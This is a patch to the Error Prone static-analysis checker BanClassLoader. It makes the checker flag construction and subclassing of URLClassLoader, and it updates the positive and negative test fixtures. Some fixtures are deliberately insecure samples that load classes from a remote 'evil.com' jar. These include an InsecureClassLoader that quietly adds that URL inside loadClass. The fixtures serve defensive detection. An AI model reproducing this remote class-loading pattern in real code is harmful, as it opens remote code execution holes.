From 0620652d44b63b69bb697c37ce06c6164b1b8efa Mon Sep 17 00:00:00 2001 From: Error Prone Team Date: Fri, 16 Jun 2023 11:28:11 -0700 Subject: [PATCH] Ban constructors of URLClassLoader in BanClassLoader checker. Also ban any class extensions of URLClassLoader. All new violations have been exempted proactively, with some remaining 3p ones addressed in this CL. PiperOrigin-RevId: 540944763 --- .../google/errorprone/matchers/Matchers.java | 22 +++++++++ .../bugpatterns/BanClassLoader.java | 46 +++++++++++++++---- .../bugpatterns/BanClassLoaderTest.java | 2 +- .../testdata/BanClassLoaderNegativeCases.java | 20 ++++---- .../testdata/BanClassLoaderPositiveCases.java | 33 ++++++++----- .../BanClassLoaderPositiveCases_expected.java | 36 ++++++++++----- 6 files changed, 113 insertions(+), 46 deletions(-) diff --git a/check_api/src/main/java/com/google/errorprone/matchers/Matchers.java b/check_api/src/main/java/com/google/errorprone/matchers/Matchers.java index dcd092c1105d..a1177144eab3 100644 --- a/check_api/src/main/java/com/google/errorprone/matchers/Matchers.java +++ b/check_api/src/main/java/com/google/errorprone/matchers/Matchers.java @@ -1294,6 +1294,12 @@ public static Matcher isDirectImplementationOf(String clazz) { return new IsDirectImplementationOf(isProvidedType); } + /** Matches any node that is a direct extension of the given class. */ + public static Matcher isExtensionOf(String clazz) { + Matcher isProvidedType = isSameType(clazz); + return new IsExtensionOf(isProvidedType); + } + @SafeVarargs public static Matcher hasAnyAnnotation(Class... annotations) { ArrayList> matchers = new ArrayList<>(annotations.length); @@ -1369,6 +1375,22 @@ protected Iterable getChildNodes(ClassTree classTree, VisitorSta } } + private static class IsExtensionOf extends ChildMultiMatcher { + IsExtensionOf(Matcher classMatcher) { + super(MatchType.AT_LEAST_ONE, classMatcher); + } + + @Override + protected Iterable getChildNodes(ClassTree classTree, VisitorState state) { + List matched = new ArrayList<>(); + Tree extendsClause = classTree.getExtendsClause(); + if (extendsClause != null) { + matched.add(extendsClause); + } + return matched; + } + } + /** Matches an AST node whose compilation unit's package name matches the given predicate. */ public static Matcher packageMatches(Predicate predicate) { return (tree, state) -> predicate.test(getPackageFullName(state)); diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/BanClassLoader.java b/core/src/main/java/com/google/errorprone/bugpatterns/BanClassLoader.java index e5a1be03bd45..2c9e02615264 100644 --- a/core/src/main/java/com/google/errorprone/bugpatterns/BanClassLoader.java +++ b/core/src/main/java/com/google/errorprone/bugpatterns/BanClassLoader.java @@ -18,15 +18,24 @@ import static com.google.errorprone.matchers.Matchers.anyMethod; import static com.google.errorprone.matchers.Matchers.anyOf; +import static com.google.errorprone.matchers.Matchers.constructor; +import static com.google.errorprone.matchers.Matchers.isExtensionOf; +import static com.google.errorprone.predicates.TypePredicates.allOf; +import static com.google.errorprone.predicates.TypePredicates.isDescendantOf; import com.google.errorprone.BugPattern; import com.google.errorprone.BugPattern.SeverityLevel; import com.google.errorprone.VisitorState; +import com.google.errorprone.bugpatterns.BugChecker.ClassTreeMatcher; import com.google.errorprone.bugpatterns.BugChecker.MethodInvocationTreeMatcher; +import com.google.errorprone.bugpatterns.BugChecker.NewClassTreeMatcher; import com.google.errorprone.matchers.Description; import com.google.errorprone.matchers.Matcher; +import com.sun.source.tree.ClassTree; import com.sun.source.tree.ExpressionTree; import com.sun.source.tree.MethodInvocationTree; +import com.sun.source.tree.NewClassTree; +import com.sun.source.tree.Tree; /** A {@link BugChecker} that detects use of the unsafe JNDI API system. */ @BugPattern( @@ -34,15 +43,12 @@ "Using dangerous ClassLoader APIs may deserialize untrusted user input into bytecode," + " leading to remote code execution vulnerabilities", severity = SeverityLevel.ERROR) -public final class BanClassLoader extends BugChecker implements MethodInvocationTreeMatcher { +public final class BanClassLoader extends BugChecker + implements MethodInvocationTreeMatcher, NewClassTreeMatcher, ClassTreeMatcher { - /** Checks for direct or indirect calls to context.lookup() via the JDK */ - private static final Matcher MATCHER = + private static final Matcher METHOD_MATCHER = anyOf( - anyMethod() - .onDescendantOf("java.lang.ClassLoader") - // findClass in ClassLoader is abstract, but in URLClassLoader it's dangerous - .namedAnyOf("defineClass", "findClass"), + anyMethod().onDescendantOf("java.lang.ClassLoader").named("defineClass"), anyMethod().onDescendantOf("java.lang.invoke.MethodHandles.Lookup").named("defineClass"), anyMethod() .onDescendantOf("java.rmi.server.RMIClassLoader") @@ -51,9 +57,14 @@ public final class BanClassLoader extends BugChecker implements MethodInvocation .onDescendantOf("java.rmi.server.RMIClassLoaderSpi") .namedAnyOf("loadClass", "loadProxyClass")); - @Override - public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { - if (state.errorProneOptions().isTestOnlyTarget() || !MATCHER.matches(tree, state)) { + private static final Matcher CONSTRUCTOR_MATCHER = + constructor().forClass(allOf(isDescendantOf("java.net.URLClassLoader"))); + + private static final Matcher EXTEND_CLASS_MATCHER = + isExtensionOf("java.net.URLClassLoader"); + + private Description matchWith(T tree, VisitorState state, Matcher matcher) { + if (state.errorProneOptions().isTestOnlyTarget() || !matcher.matches(tree, state)) { return Description.NO_MATCH; } @@ -61,4 +72,19 @@ public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState return description.build(); } + + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + return matchWith(tree, state, METHOD_MATCHER); + } + + @Override + public Description matchNewClass(NewClassTree tree, VisitorState state) { + return matchWith(tree, state, CONSTRUCTOR_MATCHER); + } + + @Override + public Description matchClass(ClassTree tree, VisitorState state) { + return matchWith(tree, state, EXTEND_CLASS_MATCHER); + } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java index e6604e44944c..fc1118f7655e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/BanClassLoaderTest.java @@ -22,7 +22,7 @@ import org.junit.runner.RunWith; import org.junit.runners.JUnit4; -/** {@link BanRMI}Test */ +/** {@link BanClassLoader}Test */ @RunWith(JUnit4.class) public class BanClassLoaderTest { private final CompilationTestHelper compilationHelper = diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderNegativeCases.java index f46ba040188b..849083ccc24f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderNegativeCases.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderNegativeCases.java @@ -16,23 +16,19 @@ package com.google.errorprone.bugpatterns.testdata; -import java.net.MalformedURLException; -import java.net.URL; -import java.net.URLClassLoader; +import java.security.SecureClassLoader; class BanClassLoaderPositiveCases { - public static final Class overrideURLClassLoader() - throws ClassNotFoundException, MalformedURLException { - URLClassLoader loader = - new URLClassLoader(new URL[] {new URL("eval.com")}) { - @Override - protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { - return super.loadClass(name); - } - }; + /** OK to extend SecureClassLoader */ + class AnotherSecureClassLoader extends SecureClassLoader {} + + /** OK to call loadClass if it's not on RMIClassLoader */ + public final Class overrideClassLoader() throws ClassNotFoundException { + SecureClassLoader loader = new AnotherSecureClassLoader(); return loader.loadClass("BadClass"); } + /** OK to define loadClass */ private class NotClassLoader { protected void loadClass() {} } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases.java index 3b2ba7aafd71..a895af2e9b98 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases.java @@ -24,17 +24,21 @@ import java.net.URLClassLoader; class BanClassLoaderPositiveCases { - /** Load a class using URLClassLoader. */ - public static final Class find() throws ClassNotFoundException, MalformedURLException { - URLClassLoader loader = - new URLClassLoader(new URL[] {new URL("eval.com")}) { - @Override - protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { - // BUG: Diagnostic contains: BanClassLoader - return findClass(name); - } - }; - return loader.loadClass("BadClass"); + /** Override loadClass with an insecure implementation. */ + // BUG: Diagnostic contains: BanClassLoader + class InsecureClassLoader extends URLClassLoader { + public InsecureClassLoader() { + super(new URL[0]); + } + + @Override + protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { + try { + addURL(new URL("jar:https://evil.com/bad.jar")); + } catch (MalformedURLException e) { + } + return findClass(name); + } } /** Calling static methods in java.rmi.server.RMIClassLoader. */ @@ -43,6 +47,13 @@ public static final Class loadRMI() throws ClassNotFoundException, MalformedU return loadClass("evil.com", "BadClass"); } + /** Calling constructor of java.net.URLClassLoader. */ + public ClassLoader loadFromURL() throws MalformedURLException { + // BUG: Diagnostic contains: BanClassLoader + URLClassLoader loader = new URLClassLoader(new URL[] {new URL("jar:https://evil.com/bad.jar")}); + return loader; + } + /** Calling methods of nested class. */ public static final Class methodHandlesDefineClass(byte[] bytes) throws IllegalAccessException { diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases_expected.java index df6cb2fb8383..055fafcf8829 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases_expected.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/BanClassLoaderPositiveCases_expected.java @@ -25,18 +25,22 @@ import java.net.URLClassLoader; class BanClassLoaderPositiveCases { - /** Load a class using URLClassLoader. */ - public static final Class find() throws ClassNotFoundException, MalformedURLException { - URLClassLoader loader = - new URLClassLoader(new URL[] {new URL("eval.com")}) { - @SuppressBanClassLoaderCompletedSecurityReview - @Override - protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { - // BUG: Diagnostic contains: BanClassLoader - return findClass(name); - } - }; - return loader.loadClass("BadClass"); + /** Override loadClass with an insecure implementation. */ + // BUG: Diagnostic contains: BanClassLoader + @SuppressBanClassLoaderCompletedSecurityReview + class InsecureClassLoader extends URLClassLoader { + public InsecureClassLoader() { + super(new URL[0]); + } + + @Override + protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { + try { + addURL(new URL("jar:https://evil.com/bad.jar")); + } catch (MalformedURLException e) { + } + return findClass(name); + } } /** Calling static methods in java.rmi.server.RMIClassLoader. */ @@ -46,6 +50,14 @@ public static final Class loadRMI() throws ClassNotFoundException, MalformedU return loadClass("evil.com", "BadClass"); } + /** Calling constructor of java.net.URLClassLoader. */ + @SuppressBanClassLoaderCompletedSecurityReview + public ClassLoader loadFromURL() throws MalformedURLException { + // BUG: Diagnostic contains: BanClassLoader + URLClassLoader loader = new URLClassLoader(new URL[] {new URL("jar:https://evil.com/bad.jar")}); + return loader; + } + /** Calling methods of nested class. */ @SuppressBanClassLoaderCompletedSecurityReview public static final Class methodHandlesDefineClass(byte[] bytes)